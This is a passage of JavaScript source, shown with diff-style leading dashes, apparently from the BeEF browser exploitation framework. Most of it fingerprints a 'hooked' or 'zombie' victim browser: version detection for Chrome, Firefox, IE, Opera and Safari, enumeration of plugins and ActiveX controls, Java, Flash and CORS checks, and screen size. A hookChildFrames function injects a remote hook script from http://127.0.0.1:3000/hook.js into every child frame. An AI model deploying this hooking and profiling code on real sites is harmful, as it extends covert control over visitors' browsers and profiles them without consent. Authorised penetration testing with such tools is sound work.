- C28iOS: this.isC28iOS(), // Chrome 28 on iOS
- C29: this.isC29(), // Chrome 29
- C29iOS: this.isC29iOS(), // Chrome 29 on iOS
- C30: this.isC30(), // Chrome 30
- C30iOS: this.isC30iOS(), // Chrome 30 on iOS
- C31: this.isC31(), // Chrome 31
- C31iOS: this.isC31iOS(), // Chrome 31 on iOS
- C32: this.isC32(), // Chrome 32
- C32iOS: this.isC32iOS(), // Chrome 32 on iOS
- C33: this.isC33(), // Chrome 33
- C33iOS: this.isC33iOS(), // Chrome 33 on iOS
- C34: this.isC34(), // Chrome 34
- C34iOS: this.isC34iOS(), // Chrome 34 on iOS
- C35: this.isC35(), // Chrome 35
- C35iOS: this.isC35iOS(), // Chrome 35 on iOS
- C36: this.isC36(), // Chrome 36
- C36iOS: this.isC36iOS(), // Chrome 36 on iOS
- C37: this.isC37(), // Chrome 37
- C37iOS: this.isC37iOS(), // Chrome 37 on iOS
- C38: this.isC38(), // Chrome 38
- C38iOS: this.isC38iOS(), // Chrome 38 on iOS
- C39: this.isC39(), // Chrome 39
- C39iOS: this.isC39iOS(), // Chrome 39 on iOS
- C40: this.isC40(), // Chrome 40
- C40iOS: this.isC40iOS(), // Chrome 40 on iOS
- C41: this.isC41(), // Chrome 41
- C41iOS: this.isC41iOS(), // Chrome 41 on iOS
- C42: this.isC42(), // Chrome 42
- C42iOS: this.isC42iOS(), // Chrome 42 on iOS
- C43: this.isC43(), // Chrome 43
- C43iOS: this.isC43iOS(), // Chrome 43 on iOS
- C44: this.isC44(), // Chrome 44
- C44iOS: this.isC44iOS(), // Chrome 44 on iOS
- C45: this.isC45(), // Chrome 45
- C45iOS: this.isC45iOS(), // Chrome 45 on iOS
- C46: this.isC46(), // Chrome 46
- C46iOS: this.isC46iOS(), // Chrome 46 on iOS
- C47: this.isC47(), // Chrome 47
- C47iOS: this.isC47iOS(), // Chrome 47 on iOS
- C48: this.isC48(), // Chrome 48
- C48iOS: this.isC48iOS(), // Chrome 48 on iOS
- C49: this.isC49(), // Chrome 49
- C49iOS: this.isC49iOS(), // Chrome 49 on iOS
- C50: this.isC50(), // Chrome 50
- C50iOS: this.isC50iOS(), // Chrome 50 on iOS
- C51: this.isC51(), // Chrome 51
- C51iOS: this.isC51iOS(), // Chrome 51 on iOS
- C52: this.isC52(), // Chrome 52
- C52iOS: this.isC52iOS(), // Chrome 52 on iOS
- C53: this.isC53(), // Chrome 53
- C53iOS: this.isC53iOS(), // Chrome 53 on iOS
- C54: this.isC54(), // Chrome 54
- C54iOS: this.isC54iOS(), // Chrome 54 on iOS
- C55: this.isC55(), // Chrome 55
- C55iOS: this.isC55iOS(), // Chrome 55 on iOS
- C56: this.isC56(), // Chrome 56
- C56iOS: this.isC56iOS(), // Chrome 56 on iOS
- C57: this.isC57(), // Chrome 57
- C57iOS: this.isC57iOS(), // Chrome 57 on iOS
- C58: this.isC58(), // Chrome 58
- C58iOS: this.isC58iOS(), // Chrome 58 on iOS
- C: this.isC(), // Chrome any version
- FF2: this.isFF2(), // Firefox 2
- FF3: this.isFF3(), // Firefox 3
- FF3_5: this.isFF3_5(), // Firefox 3.5
- FF3_6: this.isFF3_6(), // Firefox 3.6
- FF4: this.isFF4(), // Firefox 4
- FF5: this.isFF5(), // Firefox 5
- FF6: this.isFF6(), // Firefox 6
- FF7: this.isFF7(), // Firefox 7
- FF8: this.isFF8(), // Firefox 8
- FF9: this.isFF9(), // Firefox 9
- FF10: this.isFF10(), // Firefox 10
- FF11: this.isFF11(), // Firefox 11
- FF12: this.isFF12(), // Firefox 12
- FF13: this.isFF13(), // Firefox 13
- FF14: this.isFF14(), // Firefox 14
- FF15: this.isFF15(), // Firefox 15
- FF16: this.isFF16(), // Firefox 16
- FF17: this.isFF17(), // Firefox 17
- FF18: this.isFF18(), // Firefox 18
- FF19: this.isFF19(), // Firefox 19
- FF20: this.isFF20(), // Firefox 20
- FF21: this.isFF21(), // Firefox 21
- FF22: this.isFF22(), // Firefox 22
- FF23: this.isFF23(), // Firefox 23
- FF24: this.isFF24(), // Firefox 24
- FF25: this.isFF25(), // Firefox 25
- FF26: this.isFF26(), // Firefox 26
- FF27: this.isFF27(), // Firefox 27
- FF28: this.isFF28(), // Firefox 28
- FF29: this.isFF29(), // Firefox 29
- FF30: this.isFF30(), // Firefox 30
- FF31: this.isFF31(), // Firefox 31
- FF32: this.isFF32(), // Firefox 32
- FF33: this.isFF33(), // Firefox 33
- FF34: this.isFF34(), // Firefox 34
- FF35: this.isFF35(), // Firefox 35
- FF36: this.isFF36(), // Firefox 36
- FF37: this.isFF37(), // Firefox 37
- FF38: this.isFF38(), // Firefox 38
- FF39: this.isFF39(), // Firefox 39
- FF40: this.isFF40(), // Firefox 40
- FF41: this.isFF41(), // Firefox 41
- FF42: this.isFF42(), // Firefox 42
- FF43: this.isFF43(), // Firefox 43
- FF44: this.isFF44(), // Firefox 44
- FF45: this.isFF45(), // Firefox 45
- FF46: this.isFF46(), // Firefox 46
- FF47: this.isFF47(), // Firefox 47
- FF48: this.isFF48(), // Firefox 48
- FF49: this.isFF49(), // Firefox 49
- FF50: this.isFF50(), // Firefox 50
- FF51: this.isFF51(), // Firefox 51
- FF52: this.isFF52(), // Firefox 52
- FF53: this.isFF53(), // Firefox 53
- FF: this.isFF(), // Firefox any version
- IE6: this.isIE6(), // Internet Explorer 6
- IE7: this.isIE7(), // Internet Explorer 7
- IE8: this.isIE8(), // Internet Explorer 8
- IE9: this.isIE9(), // Internet Explorer 9
- IE10: this.isIE10(), // Internet Explorer 10
- IE11: this.isIE11(), // Internet Explorer 11
- IE: this.isIE(), // Internet Explorer any version
- O9_52: this.isO9_52(), // Opera 9.50 through 9.52
- O9_60: this.isO9_60(), // Opera 9.60 through 9.64
- O10: this.isO10(), // Opera 10.xx
- O11: this.isO11(), // Opera 11.xx
- O12: this.isO12(), // Opera 12.xx
- O: this.isO(), // Opera any version
- S4: this.isS4(), // Safari 4.xx
- S5: this.isS5(), // Safari 5.xx
- S6: this.isS6(), // Safari 6.x
- S7: this.isS7(), // Safari 7.x
- S8: this.isS8(), // Safari 8.x
- S: this.isS() // Safari any version
- }
- },
- /**
- * Returns the type of browser being used.
- * @return: {String} User agent software and version.
- *
- * @example: beef.browser.getBrowserVersion()
- */
- getBrowserVersion: function () {
- if (this.isC5()) {
- return '5'
- }
- ; // Chrome 5
- if (this.isC6()) {
- return '6'
- }
- ; // Chrome 6
- if (this.isC7()) {
- return '7'
- }
- ; // Chrome 7
- if (this.isC8()) {
- return '8'
- }
- ; // Chrome 8
- if (this.isC9()) {
- return '9'
- }
- ; // Chrome 9
- if (this.isC10()) {
- return '10'
- }
- ; // Chrome 10
- if (this.isC11()) {
- return '11'
- }
- ; // Chrome 11
- if (this.isC12()) {
- return '12'
- }
- ; // Chrome 12
- if (this.isC13()) {
- return '13'
- }
- ; // Chrome 13
- if (this.isC14()) {
- return '14'
- }
- ; // Chrome 14
- if (this.isC15()) {
- return '15'
- }
- ; // Chrome 15
- if (this.isC16()) {
- return '16'
- }
- ; // Chrome 16
- if (this.isC17()) {
- return '17'
- }
- ; // Chrome 17
- if (this.isC18()) {
- return '18'
- }
- ; // Chrome 18
- if (this.isC19()) {
- return '19'
- }
- ; // Chrome 19
- if (this.isC19iOS()) {
- return '19'
- }
- ; // Chrome 19 for iOS
- if (this.isC20()) {
- return '20'
- }
- ; // Chrome 20
- if (this.isC20iOS()) {
- return '20'
- }
- ; // Chrome 20 for iOS
- if (this.isC21()) {
- return '21'
- }
- ; // Chrome 21
- if (this.isC21iOS()) {
- return '21'
- }
- ; // Chrome 21 for iOS
- if (this.isC22()) {
- return '22'
- }
- ; // Chrome 22
- if (this.isC22iOS()) {
- return '22'
- }
- ; // Chrome 22 for iOS
- if (this.isC23()) {
- return '23'
- }
- ; // Chrome 23
- if (this.isC23iOS()) {
- return '23'
- }
- ; // Chrome 23 for iOS
- if (this.isC24()) {
- return '24'
- }
- ; // Chrome 24
- if (this.isC24iOS()) {
- return '24'
- }
- ; // Chrome 24 for iOS
- if (this.isC25()) {
- return '25'
- }
- ; // Chrome 25
- if (this.isC25iOS()) {
- return '25'
- }
- ; // Chrome 25 for iOS
- if (this.isC26()) {
- return '26'
- }
- ; // Chrome 26
- if (this.isC26iOS()) {
- return '26'
- }
- ; // Chrome 26 for iOS
- if (this.isC27()) {
- return '27'
- }
- ; // Chrome 27
- if (this.isC27iOS()) {
- return '27'
- }
- ; // Chrome 27 for iOS
- if (this.isC28()) {
- return '28'
- }
- ; // Chrome 28
- if (this.isC28iOS()) {
- return '28'
- }
- ; // Chrome 28 for iOS
- if (this.isC29()) {
- return '29'
- }
- ; // Chrome 29
- if (this.isC29iOS()) {
- return '29'
- }
- ; // Chrome 29 for iOS
- if (this.isC30()) {
- return '30'
- }
- ; // Chrome 30
- if (this.isC30iOS()) {
- return '30'
- }
- ; // Chrome 30 for iOS
- if (this.isC31()) {
- return '31'
- }
- ; // Chrome 31
- if (this.isC31iOS()) {
- return '31'
- }
- ; // Chrome 31 for iOS
- if (this.isC32()) {
- return '32'
- }
- ; // Chrome 32
- if (this.isC32iOS()) {
- return '32'
- }
- ; // Chrome 32 for iOS
- if (this.isC33()) {
- return '33'
- }
- ; // Chrome 33
- if (this.isC33iOS()) {
- return '33'
- }
- ; // Chrome 33 for iOS
- if (this.isC34()) {
- return '34'
- }
- ; // Chrome 34
- if (this.isC34iOS()) {
- return '34'
- }
- ; // Chrome 34 for iOS
- if (this.isC35()) {
- return '35'
- }
- ; // Chrome 35
- if (this.isC35iOS()) {
- return '35'
- }
- ; // Chrome 35 for iOS
- if (this.isC36()) {
- return '36'
- }
- ; // Chrome 36
- if (this.isC36iOS()) {
- return '36'
- }
- ; // Chrome 36 for iOS
- if (this.isC37()) {
- return '37'
- }
- ; // Chrome 37
- if (this.isC37iOS()) {
- return '37'
- }
- ; // Chrome 37 for iOS
- if (this.isC38()) {
- return '38'
- }
- ; // Chrome 38
- if (this.isC38iOS()) {
- return '38'
- }
- ; // Chrome 38 for iOS
- if (this.isC39()) {
- return '39'
- }
- ; // Chrome 39
- if (this.isC39iOS()) {
- return '39'
- }
- ; // Chrome 39 for iOS
- if (this.isC40()) {
- return '40'
- }
- ; // Chrome 40
- if (this.isC40iOS()) {
- return '40'
- }
- ; // Chrome 40 for iOS
- if (this.isC41()) {
- return '41'
- }
- ; // Chrome 41
- if (this.isC41iOS()) {
- return '41'
- }
- ; // Chrome 41 for iOS
- if (this.isC42()) {
- return '42'
- }
- ; // Chrome 42
- if (this.isC42iOS()) {
- return '42'
- }
- ; // Chrome 42 for iOS
- if (this.isC43()) {
- return '43'
- }
- ; // Chrome 43
- if (this.isC43iOS()) {
- return '43'
- }
- ; // Chrome 43 for iOS
- if (this.isC44()) {
- return '44'
- }
- ; // Chrome 44
- if (this.isC44iOS()) {
- return '44'
- }
- ; // Chrome 44 for iOS
- if (this.isC45()) {
- return '45'
- }
- ; // Chrome 45
- if (this.isC45iOS()) {
- return '45'
- }
- ; // Chrome 45 for iOS
- if (this.isC46()) {
- return '46'
- }
- ;// Chrome 46
- if (this.isC46iOS()) {
- return '46'
- }
- ; // Chrome 46 for iOS
- if (this.isC47()) {
- return '47'
- }
- ;// Chrome 47
- if (this.isC47iOS()) {
- return '47'
- }
- ; // Chrome 47 for iOS
- if (this.isC48()) {
- return '48'
- }
- ;// Chrome 48
- if (this.isC48iOS()) {
- return '48'
- }
- ; // Chrome 48 for iOS
- if (this.isC49()) {
- return '49'
- }
- ;// Chrome 49
- if (this.isC49iOS()) {
- return '49'
- }
- ; // Chrome 49 for iOS
- if (this.isC50()) {
- return '50'
- }
- ;// Chrome 50
- if (this.isC50iOS()) {
- return '50'
- }
- ; // Chrome 50 for iOS
- if (this.isC51()) {
- return '51'
- }
- ;// Chrome 51
- if (this.isC51iOS()) {
- return '51'
- }
- ; // Chrome 51 for iOS
- if (this.isC52()) {
- return '52'
- }
- ;// Chrome 52
- if (this.isC52iOS()) {
- return '52'
- }
- ; // Chrome 52 for iOS
- if (this.isC53()) {
- return '53'
- }
- ;// Chrome 53
- if (this.isC53iOS()) {
- return '53'
- }
- ; // Chrome 53 for iOS
- if (this.isC54()) {
- return '54'
- }
- ;// Chrome 54
- if (this.isC54iOS()) {
- return '54'
- }
- ; // Chrome 54 for iOS
- if (this.isC55()) {
- return '55'
- }
- ;// Chrome 55
- if (this.isC55iOS()) {
- return '55'
- }
- ; // Chrome 55 for iOS
- if (this.isC56()) {
- return '56'
- }
- ;// Chrome 56
- if (this.isC56iOS()) {
- return '56'
- }
- ; // Chrome 56 for iOS
- if (this.isC57()) {
- return '57'
- }
- ;// Chrome 57
- if (this.isC57iOS()) {
- return '57'
- }
- ; // Chrome 57 for iOS
- if (this.isC58()) {
- return '58'
- }
- ;// Chrome 58
- if (this.isC58iOS()) {
- return '58'
- }
- ; // Chrome 58 for iOS
- if (this.isFF2()) {
- return '2'
- }
- ; // Firefox 2
- if (this.isFF3()) {
- return '3'
- }
- ; // Firefox 3
- if (this.isFF3_5()) {
- return '3.5'
- }
- ; // Firefox 3.5
- if (this.isFF3_6()) {
- return '3.6'
- }
- ; // Firefox 3.6
- if (this.isFF4()) {
- return '4'
- }
- ; // Firefox 4
- if (this.isFF5()) {
- return '5'
- }
- ; // Firefox 5
- if (this.isFF6()) {
- return '6'
- }
- ; // Firefox 6
- if (this.isFF7()) {
- return '7'
- }
- ; // Firefox 7
- if (this.isFF8()) {
- return '8'
- }
- ; // Firefox 8
- if (this.isFF9()) {
- return '9'
- }
- ; // Firefox 9
- if (this.isFF10()) {
- return '10'
- }
- ; // Firefox 10
- if (this.isFF11()) {
- return '11'
- }
- ; // Firefox 11
- if (this.isFF12()) {
- return '12'
- }
- ; // Firefox 12
- if (this.isFF13()) {
- return '13'
- }
- ; // Firefox 13
- if (this.isFF14()) {
- return '14'
- }
- ; // Firefox 14
- if (this.isFF15()) {
- return '15'
- }
- ; // Firefox 15
- if (this.isFF16()) {
- return '16'
- }
- ; // Firefox 16
- if (this.isFF17()) {
- return '17'
- }
- ; // Firefox 17
- if (this.isFF18()) {
- return '18'
- }
- ; // Firefox 18
- if (this.isFF19()) {
- return '19'
- }
- ; // Firefox 19
- if (this.isFF20()) {
- return '20'
- }
- ; // Firefox 20
- if (this.isFF21()) {
- return '21'
- }
- ; // Firefox 21
- if (this.isFF22()) {
- return '22'
- }
- ; // Firefox 22
- if (this.isFF23()) {
- return '23'
- }
- ; // Firefox 23
- if (this.isFF24()) {
- return '24'
- }
- ; // Firefox 24
- if (this.isFF25()) {
- return '25'
- }
- ; // Firefox 25
- if (this.isFF26()) {
- return '26'
- }
- ; // Firefox 26
- if (this.isFF27()) {
- return '27'
- }
- ; // Firefox 27
- if (this.isFF28()) {
- return '28'
- }
- ; // Firefox 28
- if (this.isFF29()) {
- return '29'
- }
- ; // Firefox 29
- if (this.isFF30()) {
- return '30'
- }
- ; // Firefox 30
- if (this.isFF31()) {
- return '31'
- }
- ; // Firefox 31
- if (this.isFF32()) {
- return '32'
- }
- ; // Firefox 32
- if (this.isFF33()) {
- return '33'
- }
- ; // Firefox 33
- if (this.isFF34()) {
- return '34'
- }
- ; // Firefox 34
- if (this.isFF35()) {
- return '35'
- }
- ; // Firefox 35
- if (this.isFF36()) {
- return '36'
- }
- ; // Firefox 36
- if (this.isFF37()) {
- return '37'
- }
- ; // Firefox 37
- if (this.isFF38()) {
- return '38'
- }
- ; // Firefox 38
- if (this.isFF39()) {
- return '39'
- }
- ; // Firefox 39
- if (this.isFF40()) {
- return '40'
- }
- ; // Firefox 40
- if (this.isFF41()) {
- return '41'
- }
- ; // Firefox 41
- if (this.isFF42()) {
- return '42'
- }
- ; // Firefox 42
- if (this.isFF43()) {
- return '43'
- }
- ; // Firefox 43
- if (this.isFF44()) {
- return '44'
- }
- ; // Firefox 44
- if (this.isFF45()) {
- return '45'
- }
- ; // Firefox 45
- if (this.isFF46()) {
- return '46'
- }
- ; // Firefox 46
- if (this.isFF47()) {
- return '47'
- }
- ; // Firefox 47
- if (this.isFF48()) {
- return '48'
- }
- ; // Firefox 48
- if (this.isFF49()) {
- return '49'
- }
- ; // Firefox 49
- if (this.isFF50()) {
- return '50'
- }
- ; // Firefox 50
- if (this.isFF51()) {
- return '51'
- }
- ; // Firefox 51
- if (this.isFF52()) {
- return '52'
- }
- ; // Firefox 52
- if (this.isFF53()) {
- return '53'
- }
- ; // Firefox 53
- if (this.isIE6()) {
- return '6'
- }
- ; // Internet Explorer 6
- if (this.isIE7()) {
- return '7'
- }
- ; // Internet Explorer 7
- if (this.isIE8()) {
- return '8'
- }
- ; // Internet Explorer 8
- if (this.isIE9()) {
- return '9'
- }
- ; // Internet Explorer 9
- if (this.isIE10()) {
- return '10'
- }
- ; // Internet Explorer 10
- if (this.isIE11()) {
- return '11'
- }
- ; // Internet Explorer 11
- if (this.isS4()) {
- return '4'
- }
- ; // Safari 4
- if (this.isS5()) {
- return '5'
- }
- ; // Safari 5
- if (this.isS6()) {
- return '6'
- }
- ; // Safari 6
- if (this.isS7()) {
- return '7'
- }
- ; // Safari 7
- if (this.isS8()) {
- return '8'
- }
- ; // Safari 8
- if (this.isO9_52()) {
- return '9.5'
- }
- ; // Opera 9.5x
- if (this.isO9_60()) {
- return '9.6'
- }
- ; // Opera 9.6
- if (this.isO10()) {
- return '10'
- }
- ; // Opera 10.xx
- if (this.isO11()) {
- return '11'
- }
- ; // Opera 11.xx
- if (this.isO12()) {
- return '12'
- }
- ; // Opera 12.xx
- return 'UNKNOWN'; // Unknown UA
- },
- /**
- * Returns the type of user agent by hooked browser.
- * @return: {String} User agent software.
- *
- * @example: beef.browser.getBrowserName()
- */
- getBrowserName: function () {
- if (this.isC()) {
- return 'C'
- }
- ; // Chrome any version
- if (this.isFF()) {
- return 'FF'
- }
- ; // Firefox any version
- if (this.isIE()) {
- return 'IE'
- }
- ; // Internet Explorer any version
- if (this.isO()) {
- return 'O'
- }
- ; // Opera any version
- if (this.isS()) {
- return 'S'
- }
- ; // Safari any version
- if (this.isA()) {
- return 'A'
- }
- ; // Avant any version
- if (this.isMidori()) {
- return 'MI'
- }
- ; // Midori any version
- if (this.isOdyssey()) {
- return 'OD'
- }
- ; // Odyssey any version
- if (this.isBrave()) {
- return 'BR'
- }
- ; // Brave any version
- return 'UNKNOWN'; // Unknown UA
- },
- /**
- * Hooks all child frames in the current window
- * Restricted by same-origin policy
- */
- hookChildFrames: function () {
- // create script object
- var script = document.createElement('script');
- script.type = 'text/javascript';
- script.src = 'http://127.0.0.1:3000/hook.js';
- // loop through child frames
- for (var i = 0; i < self.frames.length; i++) {
- try {
- // append hook script
- self.frames[i].document.body.appendChild(script);
- beef.debug("Hooked child frame [src:" + self.frames[i].window.location.href + "]");
- } catch (e) {
- // warn on cross-origin
- beef.debug("Hooking child frame failed: " + e.message);
- }
- }
- },
- /**
- * Checks if the zombie has flash installed and enabled.
- * @return: {Boolean} true or false.
- *
- * @example: if(beef.browser.hasFlash()) { ... }
- */
- hasFlash: function () {
- if (!this.type().IE) {
- return (navigator.mimeTypes && navigator.mimeTypes["application/x-shockwave-flash"]);
- } else {
- flash_versions = 12;
- flash_installed = false;
- if (this.type().IE11) {
- flash_installed = (navigator.plugins["Shockwave Flash"] != undefined);
- } else {
- if (window.ActiveXObject != null) {
- for (x = 2; x <= flash_versions; x++) {
- try {
- Flash = eval("new ActiveXObject('ShockwaveFlash.ShockwaveFlash." + x + "');");
- if (Flash) {
- flash_installed = true;
- }
- } catch (e) {
- beef.debug("Creating Flash ActiveX object failed: " + e.message);
- }
- }
- }
- }
- return flash_installed;
- }
- },
- /**
- * Checks if the zombie has the QuickTime plugin installed.
- * @return: {Boolean} true or false.
- *
- * @example: if ( beef.browser.hasQuickTime() ) { ... }
- */
- hasQuickTime: function () {
- var quicktime = false;
- if (this.capabilities()["navigator.plugins"]) {
- for (i = 0; i < navigator.plugins.length; i++) {
- if (navigator.plugins[i].name.indexOf("QuickTime") >= 0) {
- quicktime = true;
- }
- }
- // Has navigator.plugins
- } else {
- try {
- var qt_test = new ActiveXObject('QuickTime.QuickTime');
- } catch (e) {
- beef.debug("Creating QuickTime ActiveX object failed: " + e.message);
- }
- if (qt_test) {
- quicktime = true;
- }
- }
- return quicktime;
- },
- /**
- * Checks if the zombie has the RealPlayer plugin installed.
- * @return: {Boolean} true or false.
- *
- * @example: if ( beef.browser.hasRealPlayer() ) { ... }
- */
- hasRealPlayer: function () {
- var realplayer = false;
- if (this.capabilities()["navigator.plugins"]) {
- for (i = 0; i < navigator.plugins.length; i++) {
- if (navigator.plugins[i].name.indexOf("RealPlayer") >= 0) {
- realplayer = true;
- }
- }
- // has navigator.plugins
- } else {
- var definedControls = [
- 'RealPlayer',
- 'rmocx.RealPlayer G2 Control',
- 'rmocx.RealPlayer G2 Control.1',
- 'RealPlayer.RealPlayer(tm) ActiveX Control (32-bit)',
- 'RealVideo.RealVideo(tm) ActiveX Control (32-bit)'
- ];
- for (var i = 0; i < definedControls.length; i++) {
- try {
- var rp_test = new ActiveXObject(definedControls[i]);
- } catch (e) {
- beef.debug("Creating RealPlayer ActiveX object failed: " + e.message);
- }
- if (rp_test) {
- realplayer = true;
- }
- }
- }
- return realplayer;
- },
- /**
- * Checks if the zombie has the Windows Media Player plugin installed.
- * @return: {Boolean} true or false.
- *
- * @example: if ( beef.browser.hasWMP() ) { ... }
- */
- hasWMP: function () {
- var wmp = false;
- if (this.capabilities()["navigator.plugins"]) {
- for (i = 0; i < navigator.plugins.length; i++) {
- if (navigator.plugins[i].name.indexOf("Windows Media Player") >= 0) {
- wmp = true;
- }
- }
- // Has navigator.plugins
- } else {
- try {
- var wmp_test = new ActiveXObject('WMPlayer.OCX');
- } catch (e) {
- beef.debug("Creating WMP ActiveX object failed: " + e.message);
- }
- if (wmp_test) {
- wmp = true;
- }
- }
- return wmp;
- },
- /**
- * Checks if VLC is installed
- * @return: {Boolean} true or false
- **/
- hasVLC: function () {
- var vlc = false;
- if (!this.type().IE) {
- for (i = 0; i < navigator.plugins.length; i++) {
- if (navigator.plugins[i].name.indexOf("VLC") >= 0) {
- vlc = true;
- }
- }
- } else {
- try {
- control = new ActiveXObject("VideoLAN.VLCPlugin.2");
- vlc = true;
- } catch (e) {
- beef.debug("Creating VLC ActiveX object failed: " + e.message);
- }
- }
- return vlc;
- },
- /**
- * Checks if the zombie has Java enabled.
- * @return: {Boolean} true or false.
- *
- * @example: if(beef.browser.javaEnabled()) { ... }
- */
- javaEnabled: function () {
- return navigator.javaEnabled();
- },
- /**
- * Checks if the Phonegap API is available from the hooked origin.
- * @return: {Boolean} true or false.
- *
- * @example: if(beef.browser.hasPhonegap()) { ... }
- */
- hasPhonegap: function () {
- var result = false;
- try {
- if (!!device.phonegap || !!device.cordova) result = true; else result = false;
- }
- catch (e) {
- result = false;
- }
- return result;
- },
- /**
- * Checks if the browser supports CORS
- * @return: {Boolean} true or false.
- *
- * @example: if(beef.browser.hasCors()) { ... }
- */
- hasCors: function () {
- if ('withCredentials' in new XMLHttpRequest())
- return true;
- else if (typeof XDomainRequest !== "undefined")
- return true;
- else
- return false;
- },
- /**
- * Checks if the zombie has Java installed and enabled.
- * @return: {Boolean} true or false.
- *
- * @example: if(beef.browser.hasJava()) { ... }
- */
- hasJava: function () {
- if (beef.browser.getPlugins().match(/java/i) && beef.browser.javaEnabled()) {
- return true;
- } else {
- return false;
- }
- },
- /**
- * Checks if the zombie has VBScript enabled.
- * @return: {Boolean} true or false.
- *
- * @example: if(beef.browser.hasVBScript()) { ... }
- */
- hasVBScript: function () {
- if ((navigator.userAgent.indexOf('MSIE') != -1) && (navigator.userAgent.indexOf('Win') != -1)) {
- return true;
- } else {
- return false;
- }
- },
- /**
- * Returns the list of plugins installed in the browser.
- */
- getPlugins: function () {
- var results;
- Array.prototype.unique = function () {
- var o = {}, i, l = this.length, r = [];
- for (i = 0; i < l; i += 1) o[this[i]] = this[i];
- for (i in o) r.push(o[i]);
- return r;
- };
- // Things lacking navigator.plugins
- if (!this.capabilities()["navigator.plugins"]) this.getPluginsIE();
- // All other browsers that support navigator.plugins
- else if (navigator.plugins && navigator.plugins.length > 0) {
- results = new Array();
- for (var i = 0; i < navigator.plugins.length; i++) {
- // Firefox returns exact plugin versions
- if (beef.browser.isFF()) results[i] = navigator.plugins[i].name + '-v.' + navigator.plugins[i].version;
- // Webkit and Presto (Opera)
- // Don't support the version attribute
- // Sometimes store the version in description (Real, Adobe)
- else results[i] = navigator.plugins[i].name;// + '-desc.' + navigator.plugins[i].description;
- }
- results = results.unique().toString();
- // All browsers that don't support navigator.plugins
- } else {
- results = new Array();
- //firefox https://bugzilla.mozilla.org/show_bug.cgi?id=757726
- // On linux sistem the "version" slot is empty so I'll attach "description" after version
- var plugins = {
- 'AdobeAcrobat': {
- 'control': 'Adobe Acrobat',
- 'return': function (control) {
- try {
- version = navigator.plugins["Adobe Acrobat"]["description"];
- return 'Adobe Acrobat Version ' + version; //+ " description "+ filename;
- }
- catch (e) {
- }
- }},
- 'Flash': {
- 'control': 'Shockwave Flash',
- 'return': function (control) {
- try {
- version = navigator.plugins["Shockwave Flash"]["description"];
- return 'Flash Player Version ' + version; //+ " description "+ filename;
- }
- catch (e) {
- }
- }},
- 'Google_Talk_Plugin_Accelerator': {
- 'control': 'Google Talk Plugin Video Accelerator',
- 'return': function (control) {
- try {
- version = navigator.plugins['Google Talk Plugin Video Accelerator']["description"];
- return 'Google Talk Plugin Video Accelerator Version ' + version; //+ " description "+ filename;
- }
- catch (e) {
- }
- }},
- 'Google_Talk_Plugin': {
- 'control': 'Google Talk Plugin',
- 'return': function (control) {
- try {
- version = navigator.plugins['Google Talk Plugin']["description"];
- return 'Google Talk Plugin Version ' + version;// " description "+ filename;
- }
- catch (e) {
- }
- }},
- 'Facebook_Video_Calling_Plugin': {
- 'control': 'Facebook Video Calling Plugin',
- 'return': function (control) {
- try {
- version = navigator.plugins["Facebook Video Calling Plugin"]["description"];
- return 'Facebook Video Calling Plugin Version ' + version;//+ " description "+ filename;
- }
- catch (e) {
- }
- }},
- 'Google_Update': {
- 'control': 'Google Update',
- 'return': function (control) {
- try {
- version = navigator.plugins["Google Update"]["description"];
- return 'Google Update Version ' + version//+ " description "+ filename;
- }
- catch (e) {
- }
- }},
- 'Windows_Activation_Technologies': {
- 'control': 'Windows Activation Technologies',
- 'return': function (control) {
- try {
- version = navigator.plugins["Windows Activation Technologies"]["description"];
- return 'Windows Activation Technologies Version ' + version;//+ " description "+ filename;
- }
- catch (e) {
- }
- }},
- 'VLC_Web_Plugin': {
- 'control': 'VLC Web Plugin',
- 'return': function (control) {
- try {
- version = navigator.plugins["VLC Web Plugin"]["description"];
- return 'VLC Web Plugin Version ' + version;//+ " description "+ filename;
- }
- catch (e) {
- }
- }},
- 'Google_Earth_Plugin': {
- 'control': 'Google Earth Plugin',
- 'return': function (control) {
- try {
- version = navigator.plugins['Google Earth Plugin']["description"];
- return 'Google Earth Plugin Version ' + version;//+ " description "+ filename;
- }
- catch (e) {
- }
- }},
- 'FoxitReader_Plugin': {
- 'control': 'FoxitReader Plugin',
- 'return': function (control) {
- try {
- version = navigator.plugins['Foxit Reader Plugin for Mozilla']['version'];
- return 'FoxitReader Plugin Version ' + version;
- } catch (e) {
- }
- }}
- };
- var c = 0;
- for (var i in plugins) {
- //each element od plugins
- var control = plugins[i]['control'];
- try {
- var version = plugins[i]['return'](control);
- if (version) {
- results[c] = version;
- c = c + 1;
- }
- }
- catch (e) {
- }
- }
- }
- // Return results
- return results;
- },
- /**
- * Returns a list of plugins detected by IE. This is a hack because IE doesn't
- * support navigator.plugins
- */
- getPluginsIE: function () {
- var results = '';
- var plugins = {'AdobePDF6': {
- 'control': 'PDF.PdfCtrl',
- 'return': function (control) {
- version = control.getVersions().split(',');
- version = version[0].split('=');
- return 'Acrobat Reader v' + parseFloat(version[1]);
- }},
- 'AdobePDF7': {
- 'control': 'AcroPDF.PDF',
- 'return': function (control) {
- version = control.getVersions().split(',');
- version = version[0].split('=');
- return 'Acrobat Reader v' + parseFloat(version[1]);
- }},
- 'Flash': {
- 'control': 'ShockwaveFlash.ShockwaveFlash',
- 'return': function (control) {
- version = control.getVariable('$version').substring(4);
- return 'Flash Player v' + version.replace(/,/g, ".");
- }},
- 'Quicktime': {
- 'control': 'QuickTime.QuickTime',
- 'return': function (control) {
- return 'QuickTime Player';
- }},
- 'RealPlayer': {
- 'control': 'RealPlayer',
- 'return': function (control) {
- version = control.getVersionInfo();
- return 'RealPlayer v' + parseFloat(version);
- }},
- 'Shockwave': {
- 'control': 'SWCtl.SWCtl',
- 'return': function (control) {
- version = control.ShockwaveVersion('').split('r');
- return 'Shockwave v' + parseFloat(version[0]);
- }},
- 'WindowsMediaPlayer': {
- 'control': 'WMPlayer.OCX',
- 'return': function (control) {
- return 'Windows Media Player v' + parseFloat(control.versionInfo);
- }},
- 'FoxitReaderPlugin': {
- 'control': 'FoxitReader.FoxitReaderCtl.1',
- 'return': function (control) {
- return 'Foxit Reader Plugin v' + parseFloat(control.versionInfo);
- }}
- };
- if (window.ActiveXObject) {
- var j = 0;
- for (var i in plugins) {
- var control = null;
- var version = null;
- try {
- control = new ActiveXObject(plugins[i]['control']);
- } catch (e) {
- }
- if (control) {
- if (j != 0)
- results += ', ';
- results += plugins[i]['return'](control);
- j++;
- }
- }
- }
- return results;
- },
- /**
- * Returns zombie screen size and color depth.
- */
- getScreenSize: function () {
- return {
- width: window.screen.width,
- height: window.screen.height,
- colordepth: window.screen.colorDepth
- }
- },
- /**
- * Returns zombie browser window size.
- * @from: http://www.howtocreate.co.uk/tutorials/javascript/browserwindow
